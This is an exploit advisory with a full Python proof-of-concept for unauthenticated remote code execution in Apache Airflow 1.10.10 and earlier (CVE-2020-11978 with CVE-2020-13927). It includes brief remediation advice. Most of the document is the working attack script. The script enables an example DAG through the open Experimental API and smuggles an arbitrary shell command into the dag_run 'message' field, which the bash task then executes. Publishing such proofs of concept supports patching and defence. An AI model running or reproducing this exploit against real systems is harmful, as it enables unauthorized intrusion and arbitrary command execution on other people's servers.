Apache Airflow 1.10.10 Remote Code Execution

Credit: Pepe Berba
Risk: High
Local: No
Remote: Yes

# Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution # Date: 2021-06-02 # Exploit Author: Pepe Berba # Vendor Homepage: https://airflow.apache.org/ # Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html # Version: <= 1.10.10 # Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml) # CVE : CVE-2020-11978 # # This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow # This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default. # Together, potentially allows unauthenticated RCE to Airflow # # Repo: https://github.com/pberba/CVE-2020-11978 # More information can be found here: # https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E # https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E # # Remediation: # For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set. # For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG. # # Example usage: python CVE-2020-11978.py "touch test" import argparse import requests import sys import time def create_dag(url, cmd): print('[+] Checking if Airflow Experimental REST API is accessible...') check = requests.get('{}/api/experimental/test'.format(url)) if check.status_code == 200: print('[+] /api/experimental/test returned 200' ) else: print('[!] /api/experimental/test returned {}'.format(check.status_code)) print('[!] Airflow Experimental REST API not be accessible') sys.exit(1) check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url)) if check_task.status_code != 200: print('[!] Failed to find the example_trigger_target_dag.bash_task') print('[!] Host isn\'t vunerable to CVE-2020-11978') sys.exit(1) elif 'dag_run' in check_task.json()['env']: print('[!] example_trigger_target_dag.bash_task is patched') print('[!] Host isn\'t vunerable to CVE-2020-11978') sys.exit(1) print('[+] example_trigger_target_dag.bash_task is vulnerable') unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url)) if unpause.status_code != 200: print('[!] Unable to enable example_trigger_target_dag. Example dags were not loaded') sys.exit(1) else: print('[+] example_trigger_target_dag was enabled') print('[+] Creating new DAG...') res = requests.post( '{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url), json={ 'conf': { 'message': '"; {} #'.format(cmd) } } ) if res.status_code == 200: print('[+] Successfully created DAG') print('[+] "{}"'.format(res.json()['message'])) else: print('[!] Failed to create DAG') sys.exit(1) wait_url = '{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format( url = url, execution_date=res.json()['execution_date'] ) start_time = time.time() print('[.] Waiting for the scheduler to run the DAG... This might take a minute.') print('[.] If the bash task is never queued, then the scheduler might not be running.') while True: time.sleep(10) res = requests.get(wait_url) status = res.json()['state'] if status == 'queued': print('[.] Bash task queued...') elif status == 'running': print('[+] Bash task running...') elif status == 'success': print('[+] Bash task successfully ran') break elif status == 'None': print('[-] Bash task is not yet queued...'.format(status)) else: print('[!] Bash task was {}'.format(status)) sys.exit(1) return 0 def main(): arg_parser = argparse.ArgumentParser() arg_parser.add_argument('url', type=str, help="Base URL for Airflow") arg_parser.add_argument('command', type=str) args = arg_parser.parse_args() create_dag( args.url, args.command ) if __name__ == '__main__': main()

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